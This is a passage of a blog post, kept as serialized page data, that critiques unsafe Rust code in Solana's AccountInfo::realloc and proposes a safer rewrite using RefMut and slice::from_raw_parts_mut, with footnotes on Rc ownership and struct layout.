style":2375},[17205],{"type":32,"value":17206}," original_data_len_ptr",{"type":26,"tag":475,"props":17208,"children":17209},{"style":714},[17210],{"type":32,"value":2383},{"type":26,"tag":475,"props":17212,"children":17213},{"style":2375},[17214],{"type":32,"value":17141},{"type":26,"tag":475,"props":17216,"children":17217},{"style":714},[17218],{"type":32,"value":353},{"type":26,"tag":475,"props":17220,"children":17221},{"style":493},[17222],{"type":32,"value":13608},{"type":26,"tag":475,"props":17224,"children":17225},{"style":499},[17226],{"type":32,"value":626},{"type":26,"tag":475,"props":17228,"children":17229},{"style":714},[17230],{"type":32,"value":4039},{"type":26,"tag":475,"props":17232,"children":17233},{"style":903},[17234],{"type":32,"value":17235},"4",{"type":26,"tag":475,"props":17237,"children":17238},{"style":499},[17239],{"type":32,"value":2794},{"type":26,"tag":475,"props":17241,"children":17242},{"style":482},[17243],{"type":32,"value":8553},{"type":26,"tag":475,"props":17245,"children":17246},{"style":714},[17247],{"type":32,"value":9525},{"type":26,"tag":475,"props":17249,"children":17250},{"style":482},[17251],{"type":32,"value":9363},{"type":26,"tag":475,"props":17253,"children":17254},{"style":505},[17255],{"type":32,"value":17256}," u32",{"type":26,"tag":475,"props":17258,"children":17259},{"style":499},[17260],{"type":32,"value":2729},{"type":26,"tag":475,"props":17262,"children":17263},{"class":477,"line":735},[17264,17269,17274,17278],{"type":26,"tag":475,"props":17265,"children":17266},{"style":714},[17267],{"type":32,"value":17268}," *",{"type":26,"tag":475,"props":17270,"children":17271},{"style":2375},[17272],{"type":32,"value":17273},"original_data_len_ptr",{"type":26,"tag":475,"props":17275,"children":17276},{"style":482},[17277],{"type":32,"value":8539},{"type":26,"tag":475,"props":17279,"children":17280},{"style":505},[17281],{"type":32,"value":16680},{"type":26,"tag":475,"props":17283,"children":17284},{"class":477,"line":744},[17285],{"type":26,"tag":475,"props":17286,"children":17287},{"style":499},[17288],{"type":32,"value":3607},{"type":26,"tag":35,"props":17290,"children":17291},{},[17292,17294,17299,17301,17306,17308,17313,17315,17320,17322,17329,17331,17338,17339,17346,17347,17354,17355,17362],{"type":32,"value":17293},"It's marked ",{"type":26,"tag":53,"props":17295,"children":17297},{"className":17296},[],[17298],{"type":32,"value":14063},{"type":32,"value":17300},", properly documented, but there's just one problem: we need this for ",{"type":26,"tag":53,"props":17302,"children":17304},{"className":17303},[],[17305],{"type":32,"value":13345},{"type":32,"value":17307},", which originally was not ",{"type":26,"tag":53,"props":17309,"children":17311},{"className":17310},[],[17312],{"type":32,"value":14063},{"type":32,"value":17314},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":26,"tag":53,"props":17316,"children":17318},{"className":17317},[],[17319],{"type":32,"value":14063},{"type":32,"value":17321}," block and added ",{"type":26,"tag":116,"props":17323,"children":17326},{"href":17324,"rel":17325},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[120],[17327],{"type":32,"value":17328},"a doc comment",{"type":32,"value":17330}," - adding to the ",{"type":26,"tag":116,"props":17332,"children":17335},{"href":17333,"rel":17334},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[120],[17336],{"type":32,"value":17337},"small",{"type":32,"value":6171},{"type":26,"tag":116,"props":17340,"children":17343},{"href":17341,"rel":17342},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[120],[17344],{"type":32,"value":17345},"pile",{"type":32,"value":6171},{"type":26,"tag":116,"props":17348,"children":17351},{"href":17349,"rel":17350},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[120],[17352],{"type":32,"value":17353},"of",{"type":32,"value":6171},{"type":26,"tag":116,"props":17356,"children":17359},{"href":17357,"rel":17358},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[120],[17360],{"type":32,"value":17361},"functions",{"type":32,"value":17363}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":26,"tag":27,"props":17365,"children":17367},{"id":17366},"towards-safer-unsafe",[17368,17370],{"type":32,"value":17369},"Towards safer ",{"type":26,"tag":53,"props":17371,"children":17373},{"className":17372},[],[17374],{"type":32,"value":14063},{"type":26,"tag":35,"props":17376,"children":17377},{},[17378,17380,17385,17387,17392,17394,17401],{"type":32,"value":17379},"Let's circle back to that main ",{"type":26,"tag":53,"props":17381,"children":17383},{"className":17382},[],[17384],{"type":32,"value":14063},{"type":32,"value":17386}," block inside ",{"type":26,"tag":53,"props":17388,"children":17390},{"className":17389},[],[17391],{"type":32,"value":13345},{"type":32,"value":17393}," for a bit, shall we? As a reminder, it looks like ",{"type":26,"tag":116,"props":17395,"children":17398},{"href":17396,"rel":17397},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[120],[17399],{"type":32,"value":17400},"this",{"type":32,"value":179},{"type":26,"tag":465,"props":17403,"children":17405},{"className":2685,"code":17404,"language":2684,"meta":7,"style":7},"// realloc\nunsafe {\n // First set new length in the serialized data\n let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n *ptr = new_len as u64;\n\n // Then set the new length in the local slice\n let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n *ptr = new_len as u64;\n}\n",[17406],{"type":26,"tag":53,"props":17407,"children":17408},{"__ignoreMap":7},[17409,17417,17428,17436,17523,17554,17561,17569,17696,17727],{"type":26,"tag":475,"props":17410,"children":17411},{"class":477,"line":478},[17412],{"type":26,"tag":475,"props":17413,"children":17414},{"style":552},[17415],{"type":32,"value":17416},"// realloc\n",{"type":26,"tag":475,"props":17418,"children":17419},{"class":477,"line":516},[17420,17424],{"type":26,"tag":475,"props":17421,"children":17422},{"style":482},[17423],{"type":32,"value":14063},{"type":26,"tag":475,"props":17425,"children":17426},{"style":499},[17427],{"type":32,"value":579},{"type":26,"tag":475,"props":17429,"children":17430},{"class":477,"line":539},[17431],{"type":26,"tag":475,"props":17432,"children":17433},{"style":552},[17434],{"type":32,"value":17435}," // First set new length in the serialized data\n",{"type":26,"tag":475,"props":17437,"children":17438},{"class":477,"line":548},[17439,17443,17447,17451,17455,17459,17463,17467,17471,17475,17479,17483,17487,17491,17495,17499,17503,17507,17511,17515,17519],{"type":26,"tag":475,"props":17440,"children":17441},{"style":482},[17442],{"type":32,"value":2705},{"type":26,"tag":475,"props":17444,"children":17445},{"style":2375},[17446],{"type":32,"value":13564},{"type":26,"tag":475,"props":17448,"children":17449},{"style":714},[17450],{"type":32,"value":2383},{"type":26,"tag":475,"props":17452,"children":17453},{"style":482},[17454],{"type":32,"value":13504},{"type":26,"tag":475,"props":17456,"children":17457},{"style":714},[17458],{"type":32,"value":353},{"type":26,"tag":475,"props":17460,"children":17461},{"style":493},[17462],{"type":32,"value":13581},{"type":26,"tag":475,"props":17464,"children":17465},{"style":499},[17466],{"type":32,"value":13586},{"type":26,"tag":475,"props":17468,"children":17469},{"style":714},[17470],{"type":32,"value":2840},{"type":26,"tag":475,"props":17472,"children":17473},{"style":493},[17474],{"type":32,"value":13595},{"type":26,"tag":475,"props":17476,"children":17477},{"style":499},[17478],{"type":32,"value":13586},{"type":26,"tag":475,"props":17480,"children":17481},{"style":714},[17482],{"type":32,"value":353},{"type":26,"tag":475,"props":17484,"children":17485},{"style":493},[17486],{"type":32,"value":13608},{"type":26,"tag":475,"props":17488,"children":17489},{"style":499},[17490],{"type":32,"value":626},{"type":26,"tag":475,"props":17492,"children":17493},{"style":714},[17494],{"type":32,"value":4039},{"type":26,"tag":475,"props":17496,"children":17497},{"style":903},[17498],{"type":32,"value":3786},{"type":26,"tag":475,"props":17500,"children":17501},{"style":499},[17502],{"type":32,"value":2794},{"type":26,"tag":475,"props":17504,"children":17505},{"style":482},[17506],{"type":32,"value":8553},{"type":26,"tag":475,"props":17508,"children":17509},{"style":714},[17510],{"type":32,"value":9525},{"type":26,"tag":475,"props":17512,"children":17513},{"style":482},[17514],{"type":32,"value":3430},{"type":26,"tag":475,"props":17516,"children":17517},{"style":505},[17518],{"type":32,"value":5573},{"type":26,"tag":475,"props":17520,"children":17521},{"style":499},[17522],{"type":32,"value":2729},{"type":26,"tag":475,"props":17524,"children":17525},{"class":477,"line":558},[17526,17530,17534,17538,17542,17546,17550],{"type":26,"tag":475,"props":17527,"children":17528},{"style":714},[17529],{"type":32,"value":17268},{"type":26,"tag":475,"props":17531,"children":17532},{"style":2375},[17533],{"type":32,"value":13656},{"type":26,"tag":475,"props":17535,"children":17536},{"style":714},[17537],{"type":32,"value":2383},{"type":26,"tag":475,"props":17539,"children":17540},{"style":2375},[17541],{"type":32,"value":13665},{"type":26,"tag":475,"props":17543,"children":17544},{"style":482},[17545],{"type":32,"value":8539},{"type":26,"tag":475,"props":17547,"children":17548},{"style":505},[17549],{"type":32,"value":5573},{"type":26,"tag":475,"props":17551,"children":17552},{"style":499},[17553],{"type":32,"value":2729},{"type":26,"tag":475,"props":17555,"children":17556},{"class":477,"line":582},[17557],{"type":26,"tag":475,"props":17558,"children":17559},{"emptyLinePlaceholder":18},[17560],{"type":32,"value":545},{"type":26,"tag":475,"props":17562,"children":17563},{"class":477,"line":596},[17564],{"type":26,"tag":475,"props":17565,"children":17566},{"style":552},[17567],{"type":32,"value":17568}," // Then set the new length in the local slice\n",{"type":26,"tag":475,"props":17570,"children":17571},{"class":477,"line":610},[17572,17576,17580,17584,17588,17592,17596,17600,17604,17608,17612,17616,17620,17624,17628,17632,17636,17640,17644,17648,17652,17656,17660,17664,17668,17672,17676,17680,17684,17688,17692],{"type":26,"tag":475,"props":17573,"children":17574},{"style":482},[17575],{"type":32,"value":2705},{"type":26,"tag":475,"props":17577,"children":17578},{"style":2375},[17579],{"type":32,"value":13564},{"type":26,"tag":475,"props":17581,"children":17582},{"style":714},[17583],{"type":32,"value":2383},{"type":26,"tag":475,"props":17585,"children":17586},{"style":714},[17587],{"type":32,"value":6854},{"type":26,"tag":475,"props":17589,"children":17590},{"style":482},[17591],{"type":32,"value":3430},{"type":26,"tag":475,"props":17593,"children":17594},{"style":714},[17595],{"type":32,"value":9525},{"type":26,"tag":475,"props":17597,"children":17598},{"style":499},[17599],{"type":32,"value":13724},{"type":26,"tag":475,"props":17601,"children":17602},{"style":482},[17603],{"type":32,"value":13420},{"type":26,"tag":475,"props":17605,"children":17606},{"style":714},[17607],{"type":32,"value":353},{"type":26,"tag":475,"props":17609,"children":17610},{"style":499},[17611],{"type":32,"value":3408},{"type":26,"tag":475,"props":17613,"children":17614},{"style":714},[17615],{"type":32,"value":353},{"type":26,"tag":475,"props":17617,"children":17618},{"style":493},[17619],{"type":32,"value":13745},{"type":26,"tag":475,"props":17621,"children":17622},{"style":499},[17623],{"type":32,"value":13750},{"type":26,"tag":475,"props":17625,"children":17626},{"style":482},[17627],{"type":32,"value":8553},{"type":26,"tag":475,"props":17629,"children":17630},{"style":714},[17631],{"type":32,"value":9525},{"type":26,"tag":475,"props":17633,"children":17634},{"style":482},[17635],{"type":32,"value":9363},{"type":26,"tag":475,"props":17637,"children":17638},{"style":505},[17639],{"type":32,"value":5573},{"type":26,"tag":475,"props":17641,"children":17642},{"style":499},[17643],{"type":32,"value":2835},{"type":26,"tag":475,"props":17645,"children":17646},{"style":714},[17647],{"type":32,"value":353},{"type":26,"tag":475,"props":17649,"children":17650},{"style":493},[17651],{"type":32,"value":13608},{"type":26,"tag":475,"props":17653,"children":17654},{"style":499},[17655],{"type":32,"value":626},{"type":26,"tag":475,"props":17657,"children":17658},{"style":903},[17659],{"type":32,"value":3722},{"type":26,"tag":475,"props":17661,"children":17662},{"style":499},[17663],{"type":32,"value":2794},{"type":26,"tag":475,"props":17665,"children":17666},{"style":482},[17667],{"type":32,"value":8553},{"type":26,"tag":475,"props":17669,"children":17670},{"style":505},[17671],{"type":32,"value":5573},{"type":26,"tag":475,"props":17673,"children":17674},{"style":499},[17675],{"type":32,"value":2794},{"type":26,"tag":475,"props":17677,"children":17678},{"style":482},[17679],{"type":32,"value":8553},{"type":26,"tag":475,"props":17681,"children":17682},{"style":714},[17683],{"type":32,"value":9525},{"type":26,"tag":475,"props":17685,"children":17686},{"style":482},[17687],{"type":32,"value":3430},{"type":26,"tag":475,"props":17689,"children":17690},{"style":505},[17691],{"type":32,"value":5573},{"type":26,"tag":475,"props":17693,"children":17694},{"style":499},[17695],{"type":32,"value":3533},{"type":26,"tag":475,"props":17697,"children":17698},{"class":477,"line":650},[17699,17703,17707,17711,17715,17719,17723],{"type":26,"tag":475,"props":17700,"children":17701},{"style":714},[17702],{"type":32,"value":17268},{"type":26,"tag":475,"props":17704,"children":17705},{"style":2375},[17706],{"type":32,"value":13656},{"type":26,"tag":475,"props":17708,"children":17709},{"style":714},[17710],{"type":32,"value":2383},{"type":26,"tag":475,"props":17712,"children":17713},{"style":2375},[17714],{"type":32,"value":13665},{"type":26,"tag":475,"props":17716,"children":17717},{"style":482},[17718],{"type":32,"value":8539},{"type":26,"tag":475,"props":17720,"children":17721},{"style":505},[17722],{"type":32,"value":5573},{"type":26,"tag":475,"props":17724,"children":17725},{"style":499},[17726],{"type":32,"value":2729},{"type":26,"tag":475,"props":17728,"children":17729},{"class":477,"line":679},[17730],{"type":26,"tag":475,"props":17731,"children":17732},{"style":499},[17733],{"type":32,"value":3607},{"type":26,"tag":35,"props":17735,"children":17736},{},[17737,17739,17744],{"type":32,"value":17738},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":26,"tag":53,"props":17740,"children":17742},{"className":17741},[],[17743],{"type":32,"value":15209},{"type":32,"value":17745}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":26,"tag":35,"props":17747,"children":17748},{},[17749,17751,17756,17758,17763,17765,17770,17772,17777,17779,17784,17786,17792,17794,17804,17806,17817],{"type":32,"value":17750},"First, let's deal with the ",{"type":26,"tag":53,"props":17752,"children":17754},{"className":17753},[],[17755],{"type":32,"value":15209},{"type":32,"value":17757}," borrowing issue. When we ",{"type":26,"tag":53,"props":17759,"children":17761},{"className":17760},[],[17762],{"type":32,"value":13581},{"type":32,"value":17764},", we get a ",{"type":26,"tag":53,"props":17766,"children":17768},{"className":17767},[],[17769],{"type":32,"value":16447},{"type":32,"value":17771}," back, which represents our borrow of the ",{"type":26,"tag":53,"props":17773,"children":17775},{"className":17774},[],[17776],{"type":32,"value":15209},{"type":32,"value":17778},"'s data. The fix here is simple: keep that ",{"type":26,"tag":53,"props":17780,"children":17782},{"className":17781},[],[17783],{"type":32,"value":16447},{"type":32,"value":17785}," around and use it to access the data, instead of using ",{"type":26,"tag":53,"props":17787,"children":17789},{"className":17788},[],[17790],{"type":32,"value":17791},"RefCell::as_ptr",{"type":32,"value":17793},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":26,"tag":15179,"props":17795,"children":17796},{},[17797],{"type":26,"tag":116,"props":17798,"children":17802},{"href":17799,"ariaDescribedBy":17800,"dataFootnoteRef":7,"id":17801},"#user-content-fn-rustc-llvm",[15186],"user-content-fnref-rustc-llvm",[17803],{"type":32,"value":17235},{"type":32,"value":17805}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":26,"tag":15179,"props":17807,"children":17808},{},[17809],{"type":26,"tag":116,"props":17810,"children":17814},{"href":17811,"ariaDescribedBy":17812,"dataFootnoteRef":7,"id":17813},"#user-content-fn-godbolt",[15186],"user-content-fnref-godbolt",[17815],{"type":32,"value":17816},"5",{"type":32,"value":17818},". So then we get:",{"type":26,"tag":465,"props":17820,"children":17822},{"className":2685,"code":17821,"language":2684,"meta":7,"style":7},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[17823],{"type":26,"tag":53,"props":17824,"children":17825},{"__ignoreMap":7},[17826,17870,17877,17884,17968,18008,18015,18022],{"type":26,"tag":475,"props":17827,"children":17828},{"class":477,"line":478},[17829,17833,17837,17842,17846,17850,17854,17858,17862,17866],{"type":26,"tag":475,"props":17830,"children":17831},{"style":482},[17832],{"type":32,"value":11496},{"type":26,"tag":475,"props":17834,"children":17835},{"style":482},[17836],{"type":32,"value":2710},{"type":26,"tag":475,"props":17838,"children":17839},{"style":2375},[17840],{"type":32,"value":17841}," slice",{"type":26,"tag":475,"props":17843,"children":17844},{"style":714},[17845],{"type":32,"value":2383},{"type":26,"tag":475,"props":17847,"children":17848},{"style":482},[17849],{"type":32,"value":13504},{"type":26,"tag":475,"props":17851,"children":17852},{"style":714},[17853],{"type":32,"value":353},{"type":26,"tag":475,"props":17855,"children":17856},{"style":493},[17857],{"type":32,"value":13581},{"type":26,"tag":475,"props":17859,"children":17860},{"style":499},[17861],{"type":32,"value":13586},{"type":26,"tag":475,"props":17863,"children":17864},{"style":714},[17865],{"type":32,"value":2863},{"type":26,"tag":475,"props":17867,"children":17868},{"style":499},[17869],{"type":32,"value":2729},{"type":26,"tag":475,"props":17871,"children":17872},{"class":477,"line":516},[17873],{"type":26,"tag":475,"props":17874,"children":17875},{"emptyLinePlaceholder":18},[17876],{"type":32,"value":545},{"type":26,"tag":475,"props":17878,"children":17879},{"class":477,"line":539},[17880],{"type":26,"tag":475,"props":17881,"children":17882},{"style":552},[17883],{"type":32,"value":14110},{"type":26,"tag":475,"props":17885,"children":17886},{"class":477,"line":548},[17887,17891,17895,17899,17903,17907,17911,17915,17919,17923,17927,17931,17935,17939,17943,17948,17952,17956,17960,17964],{"type":26,"tag":475,"props":17888,"children":17889},{"style":482},[17890],{"type":32,"value":11496},{"type":26,"tag":475,"props":17892,"children":17893},{"style":2375},[17894],{"type":32,"value":13564},{"type":26,"tag":475,"props":17896,"children":17897},{"style":714},[17898],{"type":32,"value":2383},{"type":26,"tag":475,"props":17900,"children":17901},{"style":482},[17902],{"type":32,"value":14297},{"type":26,"tag":475,"props":17904,"children":17905},{"style":499},[17906],{"type":32,"value":1101},{"type":26,"tag":475,"props":17908,"children":17909},{"style":2375},[17910],{"type":32,"value":15019},{"type":26,"tag":475,"props":17912,"children":17913},{"style":714},[17914],{"type":32,"value":353},{"type":26,"tag":475,"props":17916,"children":17917},{"style":493},[17918],{"type":32,"value":13595},{"type":26,"tag":475,"props":17920,"children":17921},{"style":499},[17922],{"type":32,"value":13586},{"type":26,"tag":475,"props":17924,"children":17925},{"style":714},[17926],{"type":32,"value":353},{"type":26,"tag":475,"props":17928,"children":17929},{"style":493},[17930],{"type":32,"value":13608},{"type":26,"tag":475,"props":17932,"children":17933},{"style":499},[17934],{"type":32,"value":626},{"type":26,"tag":475,"props":17936,"children":17937},{"style":714},[17938],{"type":32,"value":4039},{"type":26,"tag":475,"props":17940,"children":17941},{"style":903},[17942],{"type":32,"value":3786},{"type":26,"tag":475,"props":17944,"children":17945},{"style":499},[17946],{"type":32,"value":17947},") } ",{"type":26,"tag":475,"props":17949,"children":17950},{"style":482},[17951],{"type":32,"value":8553},{"type":26,"tag":475,"props":17953,"children":17954},{"style":714},[17955],{"type":32,"value":9525},{"type":26,"tag":475,"props":17957,"children":17958},{"style":482},[17959],{"type":32,"value":3430},{"type":26,"tag":475,"props":17961,"children":17962},{"style":505},[17963],{"type":32,"value":5573},{"type":26,"tag":475,"props":17965,"children":17966},{"style":499},[17967],{"type":32,"value":2729},{"type":26,"tag":475,"props":17969,"children":17970},{"class":477,"line":558},[17971,17975,17979,17983,17987,17991,17995,17999,18003],{"type":26,"tag":475,"props":17972,"children":17973},{"style":482},[17974],{"type":32,"value":14063},{"type":26,"tag":475,"props":17976,"children":17977},{"style":499},[17978],{"type":32,"value":1101},{"type":26,"tag":475,"props":17980,"children":17981},{"style":714},[17982],{"type":32,"value":4282},{"type":26,"tag":475,"props":17984,"children":17985},{"style":2375},[17986],{"type":32,"value":13656},{"type":26,"tag":475,"props":17988,"children":17989},{"style":714},[17990],{"type":32,"value":2383},{"type":26,"tag":475,"props":17992,"children":17993},{"style":2375},[17994],{"type":32,"value":13665},{"type":26,"tag":475,"props":17996,"children":17997},{"style":482},[17998],{"type":32,"value":8539},{"type":26,"tag":475,"props":18000,"children":18001},{"style":505},[18002],{"type":32,"value":5573},{"type":26,"tag":475,"props":18004,"children":18005},{"style":499},[18006],{"type":32,"value":18007}," };\n",{"type":26,"tag":475,"props":18009,"children":18010},{"class":477,"line":582},[18011],{"type":26,"tag":475,"props":18012,"children":18013},{"emptyLinePlaceholder":18},[18014],{"type":32,"value":545},{"type":26,"tag":475,"props":18016,"children":18017},{"class":477,"line":596},[18018],{"type":26,"tag":475,"props":18019,"children":18020},{"style":552},[18021],{"type":32,"value":15845},{"type":26,"tag":475,"props":18023,"children":18024},{"class":477,"line":610},[18025,18029,18033,18037,18041,18046,18050,18054,18058,18063,18067,18071,18075,18079,18084,18088],{"type":26,"tag":475,"props":18026,"children":18027},{"style":714},[18028],{"type":32,"value":4282},{"type":26,"tag":475,"props":18030,"children":18031},{"style":2375},[18032],{"type":32,"value":15019},{"type":26,"tag":475,"props":18034,"children":18035},{"style":714},[18036],{"type":32,"value":2383},{"type":26,"tag":475,"props":18038,"children":18039},{"style":482},[18040],{"type":32,"value":14297},{"type":26,"tag":475,"props":18042,"children":18043},{"style":499},[18044],{"type":32,"value":18045}," { std",{"type":26,"tag":475,"props":18047,"children":18048},{"style":714},[18049],{"type":32,"value":3187},{"type":26,"tag":475,"props":18051,"children":18052},{"style":499},[18053],{"type":32,"value":15019},{"type":26,"tag":475,"props":18055,"children":18056},{"style":714},[18057],{"type":32,"value":3187},{"type":26,"tag":475,"props":18059,"children":18060},{"style":493},[18061],{"type":32,"value":18062},"from_raw_parts_mut",{"type":26,"tag":475,"props":18064,"children":18065},{"style":499},[18066],{"type":32,"value":626},{"type":26,"tag":475,"props":18068,"children":18069},{"style":2375},[18070],{"type":32,"value":15019},{"type":26,"tag":475,"props":18072,"children":18073},{"style":714},[18074],{"type":32,"value":353},{"type":26,"tag":475,"props":18076,"children":18077},{"style":493},[18078],{"type":32,"value":13595},{"type":26,"tag":475,"props":18080,"children":18081},{"style":499},[18082],{"type":32,"value":18083},"(), ",{"type":26,"tag":475,"props":18085,"children":18086},{"style":2375},[18087],{"type":32,"value":13429},{"type":26,"tag":475,"props":18089,"children":18090},{"style":499},[18091],{"type":32,"value":14452},{"type":26,"tag":35,"props":18093,"children":18094},{},[18095,18097,18102,18104,18109,18111,18116,18118],{"type":32,"value":18096},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":26,"tag":53,"props":18098,"children":18100},{"className":18099},[],[18101],{"type":32,"value":7753},{"type":32,"value":18103}," and not a ",{"type":26,"tag":53,"props":18105,"children":18107},{"className":18106},[],[18108],{"type":32,"value":16307},{"type":32,"value":18110}," for the size field, given that ",{"type":26,"tag":53,"props":18112,"children":18114},{"className":18113},[],[18115],{"type":32,"value":16307},{"type":32,"value":18117}," is architecture-dependent), and no dependency on slice reference internals!",{"type":26,"tag":15179,"props":18119,"children":18120},{},[18121],{"type":26,"tag":116,"props":18122,"children":18126},{"href":18123,"ariaDescribedBy":18124,"dataFootnoteRef":7,"id":18125},"#user-content-fn-slice-unbound-lifetime",[15186],"user-content-fnref-slice-unbound-lifetime",[18127],{"type":32,"value":18128},"6",{"type":26,"tag":18130,"props":18131,"children":18134},"section",{"className":18132,"dataFootnotes":7},[18133],"footnotes",[18135,18142],{"type":26,"tag":27,"props":18136,"children":18139},{"className":18137,"id":15186},[18138],"sr-only",[18140],{"type":32,"value":18141},"Footnotes",{"type":26,"tag":181,"props":18143,"children":18144},{},[18145,18250,18268,18323,18336,18364],{"type":26,"tag":86,"props":18146,"children":18148},{"id":18147},"user-content-fn-rc-refs",[18149,18151,18157,18159,18164,18166,18170,18172,18176,18178,18183,18185,18191,18193,18198,18200,18210,18212,18217,18219,18224,18226,18231,18233,18239,18241],{"type":32,"value":18150},"I find it helpful to view owning an ",{"type":26,"tag":53,"props":18152,"children":18154},{"className":18153},[],[18155],{"type":32,"value":18156},"Rc\u003CT>",{"type":32,"value":18158}," as holding a shared reference to the underlying ",{"type":26,"tag":53,"props":18160,"children":18162},{"className":18161},[],[18163],{"type":32,"value":5701},{"type":32,"value":18165}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":26,"tag":2615,"props":18167,"children":18168},{},[18169],{"type":32,"value":16163},{"type":32,"value":18171}," ensures that the actual ",{"type":26,"tag":2615,"props":18173,"children":18174},{},[18175],{"type":32,"value":3408},{"type":32,"value":18177}," stays alive, however all you have is a reference to the ",{"type":26,"tag":53,"props":18179,"children":18181},{"className":18180},[],[18182],{"type":32,"value":5701},{"type":32,"value":18184}," (through the ",{"type":26,"tag":53,"props":18186,"children":18188},{"className":18187},[],[18189],{"type":32,"value":18190},"Deref\u003CTarget = T>",{"type":32,"value":18192}," impl) - ",{"type":26,"tag":2615,"props":18194,"children":18195},{},[18196],{"type":32,"value":18197},"not",{"type":32,"value":18199}," ownership ",{"type":26,"tag":2615,"props":18201,"children":18202},{},[18203,18205],{"type":32,"value":18204},"of the ",{"type":26,"tag":53,"props":18206,"children":18208},{"className":18207},[],[18209],{"type":32,"value":5701},{"type":32,"value":18211},". In short, owning an ",{"type":26,"tag":53,"props":18213,"children":18215},{"className":18214},[],[18216],{"type":32,"value":18156},{"type":32,"value":18218}," is owning a (shared, read-only) reference to ",{"type":26,"tag":53,"props":18220,"children":18222},{"className":18221},[],[18223],{"type":32,"value":5701},{"type":32,"value":18225},", not owning ",{"type":26,"tag":53,"props":18227,"children":18229},{"className":18228},[],[18230],{"type":32,"value":5701},{"type":32,"value":18232}," directly like with ",{"type":26,"tag":53,"props":18234,"children":18236},{"className":18235},[],[18237],{"type":32,"value":18238},"Box\u003CT>",{"type":32,"value":18240},". ",{"type":26,"tag":116,"props":18242,"children":18247},{"href":18243,"ariaLabel":18244,"className":18245,"dataFootnoteBackref":7},"#user-content-fnref-rc-refs","Back to reference 1",[18246],"data-footnote-backref",[18248],{"type":32,"value":18249},"↩",{"type":26,"tag":86,"props":18251,"children":18253},{"id":18252},"user-content-fn-sendsync",[18254,18260,18261],{"type":26,"tag":53,"props":18255,"children":18257},{"className":18256},[],[18258],{"type":32,"value":18259},"!Send + !Sync",{"type":32,"value":6171},{"type":26,"tag":116,"props":18262,"children":18266},{"href":18263,"ariaLabel":18264,"className":18265,"dataFootnoteBackref":7},"#user-content-fnref-sendsync","Back to reference 2",[18246],[18267],{"type":32,"value":18249},{"type":26,"tag":86,"props":18269,"children":18271},{"id":18270},"user-content-fn-layout",[18272,18274,18279,18280,18293,18295,18300,18302,18307,18309,18314,18316],{"type":32,"value":18273},"Note that this is a terrible idea for yet another reason: ",{"type":26,"tag":53,"props":18275,"children":18277},{"className":18276},[],[18278],{"type":32,"value":14644},{"type":32,"value":5213},{"type":26,"tag":116,"props":18281,"children":18284},{"href":18282,"rel":18283},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[120],[18285,18287],{"type":32,"value":18286},"not declared with ",{"type":26,"tag":53,"props":18288,"children":18290},{"className":18289},[],[18291],{"type":32,"value":18292},"#[repr(C)]",{"type":32,"value":18294},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":26,"tag":2615,"props":18296,"children":18297},{},[18298],{"type":32,"value":18299},"breaks the entire chain",{"type":32,"value":18301}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":26,"tag":2615,"props":18303,"children":18304},{},[18305],{"type":32,"value":18306},"some",{"type":32,"value":18308}," kind of interface to the specific layout of the specific ",{"type":26,"tag":53,"props":18310,"children":18312},{"className":18311},[],[18313],{"type":32,"value":16215},{"type":32,"value":18315}," versions used to build on-chain code for all eternity... ",{"type":26,"tag":116,"props":18317,"children":18321},{"href":18318,"ariaLabel":18319,"className":18320,"dataFootnoteBackref":7},"#user-content-fnref-layout","Back to reference 3",[18246],[18322],{"type":32,"value":18249},{"type":26,"tag":86,"props":18324,"children":18326},{"id":18325},"user-content-fn-rustc-llvm",[18327,18329],{"type":32,"value":18328},"Actually, it's LLVM that does the optimization ",{"type":26,"tag":116,"props":18330,"children":18334},{"href":18331,"ariaLabel":18332,"className":18333,"dataFootnoteBackref":7},"#user-content-fnref-rustc-llvm","Back to reference 4",[18246],[18335],{"type":32,"value":18249},{"type":26,"tag":86,"props":18337,"children":18339},{"id":18338},"user-content-fn-godbolt",[18340,18347,18349,18355,18357],{"type":26,"tag":116,"props":18341,"children":18344},{"href":18342,"rel":18343},"https://godbolt.org/z/PK46xMbxc",[120],[18345],{"type":32,"value":18346},"Click here",{"type":32,"value":18348}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":26,"tag":53,"props":18350,"children":18352},{"className":18351},[],[18353],{"type":32,"value":18354},"libcore",{"type":32,"value":18356}," available for other architectures yet. ",{"type":26,"tag":116,"props":18358,"children":18362},{"href":18359,"ariaLabel":18360,"className":18361,"dataFootnoteBackref":7},"#user-content-fnref-godbolt","Back to reference 